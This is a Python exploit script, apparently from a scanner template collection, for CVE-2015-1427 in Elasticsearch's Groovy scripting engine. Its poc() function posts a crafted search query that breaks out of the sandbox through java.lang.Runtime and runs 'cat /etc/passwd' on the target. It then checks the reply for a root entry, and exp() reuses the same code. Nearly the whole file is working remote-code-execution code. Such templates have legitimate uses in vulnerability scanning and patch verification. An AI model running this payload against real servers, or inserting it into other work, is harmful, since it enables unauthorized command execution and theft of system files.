CVE-2015-1427.py

import requests
import re


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''ElasticSearch 1.4.0/1.4.2 RCE''',
        "description": '''The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.''',
        "severity": "critical",
        "references": [
            "https://blog.csdn.net/JiangBuLiu/article/details/94457980", 
            "http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/"
        ],
        "classification": {
            "cvss-metrics": "",
            "cvss-score": "",
            "cve-id": "",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2015", "elastic", "rce", "elasticsearch"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/website/blog/"""
        method = "POST"
        data = """{
  "name": "test"
}"""
        headers = {'Accept': '*/*', 'Accept-Language': 'en', 'Content-Type': 'application/x-www-form-urlencoded'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/_search"""
        method = "POST"
        data = """{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}"""
        headers = {'Accept': '*/*', 'Content-Type': 'application/x-www-form-urlencoded'}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""application/json""" in str(resp1.headers)) and (re.search(r"""root:.*:0:0:""",resp1.text)) and (resp1.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url